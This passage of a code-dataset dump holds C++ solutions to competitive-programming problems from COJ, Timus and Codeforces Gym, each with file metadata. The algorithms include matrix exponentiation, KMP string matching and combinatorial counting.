b[k][j]) % mod;\n\t\t\t\tif (res[i][j] > mod) {\n\t\t\t\t\tres[i][j] -= mod;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn res;\n}\n \nmatrix power(matrix x, ll n) {\n\tmatrix res;\n\tres.I();\n\twhile (n) {\n\t\tif (n & 1LL) {\n\t\t\tres = res * x;\n\t\t}\n\t\tx = x * x;\n\t\tn >>= 1LL;\n\t}\n\treturn res;\n}\n \nll n, t, c[50005], sum;\nmatrix a;\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(false);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n >> t;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> c[i];\n\t\tsum += c[i];\n\t\tif (sum > mod) {\n\t\t\tsum -= mod;\n\t\t}\n\t}\n\ta[0][0] = -1 + mod;\n\ta[0][1] = 1;\n\ta[1][0] = 0;\n\ta[1][1] = n - 1;\n\ta = power(a, t);\n\tfor (int i = 0; i < n; i++) {\n\t\tll ans = (((a[0][0] * c[i]) % mod) + ((a[0][1] * sum) % mod)) % mod;\n\t\tcout << ans << \"\\n\";\n\t}\n}\n \n/*\n\tSea T(n) la suma de todos los numeros de la vacas despues\n\tde n pasos\n\tSea C(n) el numero de cierta vaca despues de n pasos\n\tComo la vaca toma el numeros que es la suma de todas las otras vacas\n\teste es la suma de todas menos el de ella\n\t=> C(n) = T(n - 1) - C(n - 1)\n \n\tT(n) es la suma de todas las vacas despues de n pasos, como cada vaca\n\tsuma todos los numeros de las otras entonces el total sera\n\tT(n) = T(n - 1) - C1(n - 1) + T(n - 1) - C2(n - 1) + ... + T(n - 1) - Cx(n - 1)\n\tdonde C1 indica el numero de la vaca 1 despues de n pasos (asi las otras)\n\tT(n) = n * T(n - 1) - (C1(n - 1) + C2(n - 1) + ... + Cx(n - 1))\n\tT(n) = n * T(n - 1) - T(n - 1);\n\tT(n) = (n - 1) * T(n - 1)\n\tDe aqui se pueden formar las recurrencias lineales\n\tC(n) = T(n - 1) - C(n - 1)\n\tT(n) = (n - 1) * T(n - 1)\n \n\tPoniendolo en forma de matrices\n \n\t[-1 1][C(n)] = [C(n + 1)]\n\t[ 0 n - 1][T(n)] [T(n + 1)]\n \n\tde aqui que\n\t\t\t\t\t\t^ 1\n\t[-1 1] [C(0)] = [C(n)]\n\t[ 0 n - 1] [T(0)] [T(n)]\n \n\tEl como la matriz es la misma para todas las vacas solo hay\n\tcalcular la matriz elevada a la n y para cada vaca calcular C(n)\n\tC(n) = M[0][0] * C(0) + M[0][1] * T(0)\n*/\n \n" }, { "alpha_fraction": 0.4415322542190552, "alphanum_fraction": 0.4657258093357086, "avg_line_length": 20.454545974731445, "blob_id": "062fd545be5c6849a116eecaf5b4f938939a4a9a", "content_id": "ff921f646a6d8ae74c7879086c3f60c96e21bb34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 496, "license_type": "no_license", "max_line_length": 46, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p1432-Accepted-s658269.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nint n, sol, x[1005], y[1005];\r\n\r\nmap<pair<int, int>, int> M;\r\nmap<pair<int, int>, int>::iterator it;\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tscanf(\"%d%d\", &x[i], &y[i]);\r\n\t\tfor (int j = 0; j < i; j++)\r\n\t\t\tM[make_pair(x[i] + x[j], y[i] + y[j])]++;\r\n\t}\r\n\tfor (it = M.begin(); it != M.end(); it++)\r\n\t\tsol += (it->second * (it->second - 1)) >> 1;\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n\r\n" }, { "alpha_fraction": 0.4661971926689148, "alphanum_fraction": 0.4760563373565674, "avg_line_length": 16.6842098236084, "blob_id": "68db46059f65b1d5a2c67e0ccf7e0081141d9938", "content_id": "d5664b0c44cd42a37a4022e9bb5de8bf53af9e6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 710, "license_type": "no_license", "max_line_length": 46, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2371-Accepted-s701926.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst LL lim = 1e9;\r\n\r\nint tc;\r\nLL a, b, ans;\r\nvector<LL> v;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.tie(0);\r\n\tv.push_back(1);\r\n\tfor (LL i = 2; i * i <= lim; i++)\r\n\t\tfor (LL p = i * i; p <= lim; p *= i)\r\n\t\t\tv.push_back(p);\r\n\tsort(v.begin(), v.end());\r\n\tv.erase(unique(v.begin(), v.end()), v.end());\r\n\r\n\tcin >> tc;\r\n\tfor (int c = 1; c <= tc; c++){\r\n\t\tcin >> a >> b;\r\n\t\tif (a > b) {\r\n\t\t\tLL tmp = a;\r\n\t\t\ta = b;\r\n\t\t\tb = tmp;\r\n\t\t}\r\n\t\tans = upper_bound(v.begin(), v.end(), b) -\r\n\t\t\t\tlower_bound(v.begin(), v.end(), a);\r\n\t\tcout << \"Case \" << c << \": \" << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38643068075180054, "alphanum_fraction": 0.4277286231517792, "avg_line_length": 20.600000381469727, "blob_id": "f2595e55d1528a443295a7f72c4d8e867bb014cb", "content_id": "17c50142b2063b890cc13d5d558cb5057952292b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 339, "license_type": "no_license", "max_line_length": 42, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2845-Accepted-s615496.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\ndouble x, y;\r\n\r\nint main() {\r\n\twhile (cin >> x >> y) {\r\n\t\tif (x == 0 || y == 0) cout << \"AXIS\\n\";\r\n\t\telse if (x > 0 && y > 0) cout << \"Q1\\n\";\r\n\t\telse if (x < 0 && y > 0) cout << \"Q2\\n\";\r\n\t\telse if (x < 0 && y < 0) cout << \"Q3\\n\";\r\n\t\telse cout << \"Q4\\n\";\r\n\t\tif (x == 0 && y == 0) break;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42524272203445435, "alphanum_fraction": 0.47961166501045227, "avg_line_length": 14.147058486938477, "blob_id": "dabb6dc16a43635d3683e28fd497cbcfc5cf65bf", "content_id": "47080686eb26416366825a24928d76161234cbab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 515, "license_type": "no_license", "max_line_length": 63, "num_lines": 34, "path": "/Codeforces-Gym/101124 - 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6/M.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6\n// 101124M\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(2);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n\tll n;\n\n\twhile( cin >> n ){\n ll p = 1ll;\n\n while( p * 18ll < n ){\n p *= 18ll;\n }\n\n\n if( p * 9ll >= n ){\n cout << \"Stan wins.\\n\";\n }\n else{\n cout << \"Ollie wins.\\n\";\n }\n\t}\n}\n" }, { "alpha_fraction": 0.37634408473968506, "alphanum_fraction": 0.3870967626571655, "avg_line_length": 14.17391300201416, "blob_id": "12f2a78bc1bdcdff31cae5996b45ec0c3032be8c", "content_id": "18266428d7cda29ba6f241c258c2beca9a51be20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 372, "license_type": "no_license", "max_line_length": 32, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p3123-Accepted-s902048.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, b, a;\r\nint l, g;\r\nmap <int, int> M;\r\n\r\nint main() {\r\n\tcin >> n >> b;\r\n\tbool ok = false;\r\n\tM[0] = 1;\r\n\tlong long ans = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> a;\r\n\t\tok |= (a == b);\r\n\t\tl += (a < b);\r\n\t\tg += (a > b);\r\n\t\tif (ok) ans += M[g - l];\r\n\t\tif (a != b && !ok) M[g - l]++;\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.47099769115448, "alphanum_fraction": 0.5266821384429932, "avg_line_length": 18.590909957885742, "blob_id": "7f27d72189ac25c08fc09e695487bfb9852292c0", "content_id": "05205a87611a04d477021edfc17c015a0b217207", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 431, "license_type": "no_license", "max_line_length": 77, "num_lines": 22, "path": "/Codeforces-Gym/101196 - 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)\n// 101196C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tstring s, k;\n\tcin >> s >> k;\n\tint n = s.size();\n\tstring ans;\n\tfor (int i = 0; i < n; i++) {\n\t\tchar x = 'A' + (((s[i] - 'A') - (k[i] - 'A') + 26) % 26);\n\t\tans += x;\n\t\tk += x;\n\t}\n\tcout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.46607670187950134, "alphanum_fraction": 0.516224205493927, "avg_line_length": 19.1875, "blob_id": "37c3b4bf05dbfc3c77f5c975ac79589b392f4fd2", "content_id": "01f0b1372dc8e34fd6ba3a53748317c493c7aa53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 339, "license_type": "no_license", "max_line_length": 41, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p3635-Accepted-s1009537.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(10);\r\n\tdouble x1, x2, y1, y2;\r\n\twhile (cin >> x1 >> y1 >> x2 >> y2) {\r\n\t\tdouble dx = abs(x1 - x2);\r\n\t\tdouble dy = abs(y1 - y2);\r\n\t\tdouble ans = (dx * dx + dy * dy) / 6.0;\r\n\t\tcout << fixed << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38693466782569885, "alphanum_fraction": 0.4183416962623596, "avg_line_length": 14.346939086914062, "blob_id": "8f916eff9b1badde2e726da2359b80b15fa51f28", "content_id": "1d1d4d28c3923fb67723285636a72e92fcdfec77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 796, "license_type": "no_license", "max_line_length": 38, "num_lines": 49, "path": "/Timus/1423-6165817.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1423\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nstring a, b, s;\r\nint pi[1000000];\r\n\r\nint solve(string &a, string &b) {\r\n\ts = a;\r\n\ts += (char)(11);\r\n\ts += b;\r\n\ts += b;\r\n\t//cout << s << \"\\n\";\r\n\tint n = s.size();\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tint j = pi[i - 1];\r\n\t\twhile (j > 0 && s[i] != s[j]) {\r\n\t\t\tj = pi[j - 1];\r\n\t\t}\r\n\t\tif (s[i] == s[j]) {\r\n\t\t\tj++;\r\n\t\t}\r\n\t\tpi[i] = j;\r\n\t\tif (i > a.size() && j == a.size()) {\r\n\t\t\treturn i - a.size() - a.size();\r\n\t\t}\r\n\t}\r\n\treturn 1e9;\r\n}\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tcin >> n >> a >> b;\r\n\tint sa = a.size();\r\n\tint sb = b.size();\r\n\tif (sa != sb) {\r\n\t\tcout << \"-1\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\tint ans = solve(a, b);\r\n\tif (ans == 1e9) {\r\n\t\tans = -1;\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}" }, { "alpha_fraction": 0.33162519335746765, "alphanum_fraction": 0.3770131766796112, "avg_line_length": 22.55172348022461, "blob_id": "d26ee76841526e44bb4e4f19f6285d16ce2220b3", "content_id": "d8536e1da170a94352c2e734b4c2107e85907d31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1366, "license_type": "no_license", "max_line_length": 90, "num_lines": 58, "path": "/Codeforces-Gym/101630 - 2017-2018 ACM-ICPC Northern Eurasia (Northeastern European Regional) Contest (NEERC 17)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Northern Eurasia (Northeastern European Regional) Contest (NEERC 17)\n// 101630B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\ntypedef long long ll;\nll W, H;\nbool check( ll a, ll b, ll h ){\n ///1 , 2, 4\n if( (a + 2*h <= W && 2*h + 2*b <= H) ||\n (a + 2*h <= H && 2*h + 2*b <= W) )\n return true;\n ///3, 5, 6\n if( (2*h + 2*b <= W && a+h+b <= H) ||\n (2*h + 2*b <= H && a+h+b <= W) )\n return true;\n //7\n if( (2*b + h + a <= H && 2*h + a <= W ) ||\n (2*b + h + a <= W && 2*h + a <= H ) )\n return true;\n //8, 10\n if( (2*h + b + a <= W && a + b + h <= H) ||\n (2*h + b + a <= H && a + b + h <= W) )\n return true;\n //9\n if( (3*a + h + b <= W && b + h <= H) ||\n (3*a + h + b <= H && b + h <= W))\n return true;\n //11\n if(( 2*h + b <= W && 2*a + h + b <= H ) ||\n ( 2*h + b <= H && 2*a + h + b <= W ))\n return true;\n\n return false;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n vector<ll> v(3);\n cin >> v[0] >> v[1] >> v[2];\n cin >> H >> W;\n\n sort( v.begin(), v.end() );\n\n do{\n if( check( v[0], v[1], v[2] ) ){\n cout << \"Yes\\n\";\n return 0;\n }\n }while( next_permutation( v.begin(), v.end() ) );\n\n cout << \"No\\n\";\n return 0;\n}\n" }, { "alpha_fraction": 0.39322033524513245, "alphanum_fraction": 0.4209039509296417, "avg_line_length": 20.69230842590332, "blob_id": "4e762733a7dc7cdd680b342bd48b3a7d6761d09a", "content_id": "511adf1da588be43cfd7ff7a914fcdfd5991f6ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1770, "license_type": "no_license", "max_line_length": 64, "num_lines": 78, "path": "/COJ/eliogovea-cojAC/eliogovea-p2612-Accepted-s631962.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/*\r\n\tCOJ - 2612 - Go up to Ultras\r\n\teliogovea\r\n*/\r\n\r\n#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005, d = 150000;\r\n\r\nint n, H[MAXN], R[MAXN], L[MAXN], MN[28][MAXN];\r\nvector<int> ultra;\r\nset<pair<int, int> > S;\r\n\r\nvoid build() {\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tMN[0][i] = H[i];\r\n\tfor (int i = 1; 1 << i <= n; i++)\r\n\t\tfor (int j = 1; j + (1 << i) - 1 <= n; j++)\r\n\t\t\tMN[i][j] = min(MN[i - 1][j], MN[i - 1][j + (1 << (i - 1))]);\r\n}\r\n\r\nint query(int i, int j) {\r\n\tint n = j - i + 1;\r\n\tint lg = 31 - __builtin_clz(n);\r\n\treturn min(MN[lg][i], MN[lg][j + 1 - (1 << lg)]);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> H[i];\r\n\t}\r\n\tbuild();\r\n\tS.clear();\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\twhile (S.size() && S.begin()->first < H[i]) {\r\n\t\t\tR[S.begin()->second] = i;\r\n\t\t\tS.erase(S.begin());\r\n\t\t}\r\n\t\tS.insert(make_pair(H[i], i));\r\n\t}\r\n\tS.clear();\r\n\tfor (int i = n; i; i--) {\r\n\t\twhile (S.size() && S.begin()->first < H[i]) {\r\n\t\t\tL[S.begin()->second] = i;\r\n\t\t\tS.erase(S.begin());\r\n\t\t}\r\n\t\tS.insert(make_pair(H[i], i));\r\n\t}\r\n\r\n\tfor (int i = 2; i < n; i++)\r\n\t\tif (H[i - 1] < H[i] && H[i + 1] < H[i]) {\r\n\t\t\tint mn1, mn2;\r\n\t\t\tif (R[i]) mn1 = query(i, R[i]);\r\n\t\t\tif (L[i]) mn2 = query(L[i], i);\r\n\r\n\t\t\tif (L[i] && R[i])\r\n\t\t\t\tif (H[i] - max(mn1, mn2) >= d)\r\n\t\t\t\t\tultra.push_back(i);\r\n\t\t\tif (L[i] && !R[i])\r\n\t\t\t\tif (H[i] - mn2 >= d)\r\n\t\t\t\t\tultra.push_back(i);\r\n\t\t\tif (!L[i] && R[i])\r\n\t\t\t\tif (H[i] - mn1 >= d)\r\n\t\t\t\t\tultra.push_back(i);\r\n\t\t\tif (!L[i] && !R[i])\r\n if (H[i] >= d)\r\n ultra.push_back(i);\r\n\t\t}\r\n\tfor (int i = 0; i < ultra.size(); i++) {\r\n\t\tcout << ultra[i];\r\n\t\tif (i < ultra.size() - 1) cout << ' ';\r\n\t\telse cout << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3528428077697754, "alphanum_fraction": 0.3812709152698517, "avg_line_length": 19.35714340209961, "blob_id": "395614eb07d0d346b730b6cc93226975dd43afa9", "content_id": "66f662d781755bb3388e13d1cf7db4a9beb97e27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1196, "license_type": "no_license", "max_line_length": 78, "num_lines": 56, "path": "/COJ/eliogovea-cojAC/eliogovea-p2396-Accepted-s675892.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2396.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <queue>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nint dist[22][(1 << 21) + 2];\r\nbool mark[25];\r\nqueue<int> Q;\r\n\r\nvoid calc(int c) {\r\n\tif (mark[c]) return;\r\n\tmark[c] = true;\r\n\tfor (int i = 0; i < (1 << c); i++) dist[c][i] = -1;\r\n\tdist[c][0] = 0;\r\n\tQ.push(0);\r\n\tint u, aux;\r\n\twhile (!Q.empty()) {\r\n\t\tu = Q.front(); Q.pop();\r\n\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\taux = u;\r\n\t\t\tif (i > 0) aux ^= (1 << (i - 1));\r\n\t\t\taux ^= (1 << i);\r\n\t\t\tif (i < c - 1) aux ^= (1 << (i + 1));\r\n\t\t\tif (dist[c][aux] == -1) {\r\n\t\t\t\tdist[c][aux] = dist[c][u] + 1;\r\n\t\t\t\tQ.push(aux);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint tc, n;\r\nstring s;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n >> s;\r\n\t\tcalc(n);\r\n\t\tint tmp = 0;\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tif (s[i] == '0') tmp |= (1 << i);\r\n\t\tcout << dist[n][tmp] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4204947054386139, "alphanum_fraction": 0.4946996569633484, "avg_line_length": 18.214284896850586, "blob_id": "89a63da5a0c733ac7b943a3bc215db131d0ca211", "content_id": "d29dacf211260191049ae5bd4f3b3490a679b9de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 283, "license_type": "no_license", "max_line_length": 50, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p1103-Accepted-s460238.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstdio>\r\nusing namespace std;\r\n\r\nconst int c[5]={1,5,10,25,50};\r\nlong w[7490],n;\r\n\r\nint main(){\r\n w[0]=1;\r\n for(int i=0; i<5; i++)\r\n for(int j=c[i]; j<=7498; j++)w[j]+=w[j-c[i]];\r\n \r\n while(scanf(\"%d\",&n)!=EOF)printf(\"%d\\n\",w[n]);\r\n }\r\n" }, { "alpha_fraction": 0.35883423686027527, "alphanum_fraction": 0.3925318717956543, "avg_line_length": 15.709677696228027, "blob_id": "91f393a68cf62b415d3405b77b463d5b8297bfa0", "content_id": "5a799715db50e3652d533c27101c6efc667d69b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1098, "license_type": "no_license", "max_line_length": 51, "num_lines": 62, "path": "/COJ/eliogovea-cojAC/eliogovea-p3525-Accepted-s908152.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nconst int N = 1000;\r\n\r\nint C[N + 5][N + 5];\r\nint sum[N + 5][N + 5];\r\n\r\n\r\nint t;\r\nint n;\r\nint a[N], b[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 0; i <= N; i++) {\r\n\t\tC[i][0] = C[i][i] = 1;\r\n\t\tsum[i][0] = C[i][0];\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tadd(C[i][j], C[i - 1][j - 1]);\r\n\t\t\tadd(C[i][j], C[i - 1][j]);\r\n\t\t\tadd(sum[i][j], sum[i][j - 1]);\r\n\t\t\tadd(sum[i][j], C[i][j]);\r\n\t\t}\r\n\t\tif (i >= 1) {\r\n\t\t\tadd(sum[i][i], sum[i][i - 1]);\r\n\t\t\tadd(sum[i][i], C[i][i]);\r\n\t\t}\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> b[i];\r\n\t\t}\r\n\t\tint ans = 1;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n int x = sum[b[i]][min(b[i], a[i] - 1)];\r\n add(x, MOD - sum[b[i]][0]);\r\n\t\t\tans = mul(ans, x);\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2584712505340576, "alphanum_fraction": 0.2702915668487549, "avg_line_length": 16.157142639160156, "blob_id": "56ab380fcb427bb6ec0aaf2795cffefaecfa5b11", "content_id": "9f9875095034a9adfa421e8c7b9e3a2262a97a41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1269, "license_type": "no_license", "max_line_length": 47, "num_lines": 70, "path": "/COJ/eliogovea-cojAC/eliogovea-p3554-Accepted-s926513.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, m;\r\nstring a, b;\r\n\r\nint f['z' + 15];\r\nint cur['z' + 15];\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n cin >> n >> m >> a >> b;\r\n\r\n if (m < n) {\r\n cout << \"0\\n\";\r\n return 0;\r\n }\r\n\r\n for (int i = 0; i < n; i++) {\r\n f[a[i]]++;\r\n }\r\n\r\n for (int i = 0; i < n; i++) {\r\n cur[b[i]]++;\r\n }\r\n\r\n int cnt = 0;\r\n\r\n for (char i = 'A'; i <= 'Z'; i++) {\r\n if (cur[i] == f[i]) {\r\n cnt++;\r\n }\r\n }\r\n for (int i = 'a'; i <= 'z'; i++) {\r\n if (cur[i] == f[i]) {\r\n cnt++;\r\n }\r\n }\r\n\r\n int t = 2 * ('Z' - 'A' + 1);\r\n int ans = 0;\r\n if (cnt == t) {\r\n ans++;\r\n }\r\n\r\n for (int i = n; i < m; i++) {\r\n if (cur[ b[ i - n ] ] == f[b[i - n]]) {\r\n cnt--;\r\n }\r\n if (cur[b[i - n]] == f[b[i - n]] + 1) {\r\n cnt++;\r\n }\r\n cur[b[i - n]]--;\r\n if (cur[b[i]] == f[b[i]]) {\r\n cnt--;\r\n }\r\n if (cur[b[i]] == f[b[i]] - 1) {\r\n cnt++;\r\n }\r\n cur[b[i]]++;\r\n if (cnt == t) {\r\n ans++;\r\n }\r\n }\r\n cout << ans << \"\\n\";\r\n}" }, { "alpha_fraction": 0.3793677091598511, "alphanum_fraction": 0.41846922039985657, "avg_line_length": 14.310811042785645, "blob_id": "9364ae762b2632cd5b211b7975a7aacd05d62827", "content_id": "e89390c690f5df1b38283c37de2b216d18ee5c2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1202, "license_type": "no_license", "max_line_length": 54, "num_lines": 74, "path": "/Timus/1009-6165670.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1009\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nll n, k, m;\r\n\r\nconst int SIZE = 3;\r\n\r\nstruct matrix {\r\n\tll m[SIZE][SIZE];\r\n\tvoid O() {\r\n\t\tfor (int i = 0; i < SIZE; i++) {\r\n\t\t\tfor (int j = 0; j < SIZE; j++) {\r\n\t\t\t\tm[i][j] = 0LL;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvoid I() {\r\n\t\tfor (int i = 0; i < SIZE; i++) {\r\n\t\t\tfor (int j = 0; j < SIZE; j++) {\r\n\t\t\t\tm[i][j] = (ll)(i == j);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n};\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tmatrix res;\r\n\tres.O();\r\n\tfor (int i = 0; i < SIZE; i++) {\r\n\t\tfor (int j = 0; j < SIZE; j++) {\r\n\t\t\tfor (int k = 0; k < SIZE; k++) {\r\n\t\t\t\tres.m[i][j] += a.m[i][k] * b.m[k][j];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix power(matrix x, ll n) {\r\n\tmatrix res;\r\n\tres.I();\r\n\twhile (n) {\r\n\t\tif (n & 1LL) {\r\n\t\t\tres = res * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix M;\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tcin >> n >> k;\r\n\tM.m[0][0] = 0;\r\n\tM.m[0][1] = 0;\r\n\tM.m[0][2] = k - 1LL;\r\n\tM.m[1][0] = 0;\r\n\tM.m[1][1] = 0;\r\n\tM.m[1][2] = k - 1LL;\r\n\tM.m[2][0] = 0;\r\n\tM.m[2][1] = 1;\r\n\tM.m[2][2] = k - 1LL;\r\n\tM = power(M, n);\r\n\tcout << M.m[0][1] + M.m[0][2] << \"\\n\";\r\n}" }, { "alpha_fraction": 0.3741152584552765, "alphanum_fraction": 0.4064711928367615, "avg_line_length": 18.60416603088379, "blob_id": "b5ba579357f20ea40e0f46f83c7324ed4b3c0a2b", "content_id": "ed0c243d676137803fd179b96ad0b5a54a77e95e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 989, "license_type": "no_license", "max_line_length": 51, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p2973-Accepted-s645178.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nint n, a[20];\r\nbool ok[2], p;\r\nvector<int> v[2];\r\nll x, y, sol;\r\n\r\ninline ll form(int x) {\r\n\tfor (int i = 0; i < v[x].size(); i++)\r\n\t\tif (v[x][i] != 0) {\r\n\t\t\tll r = 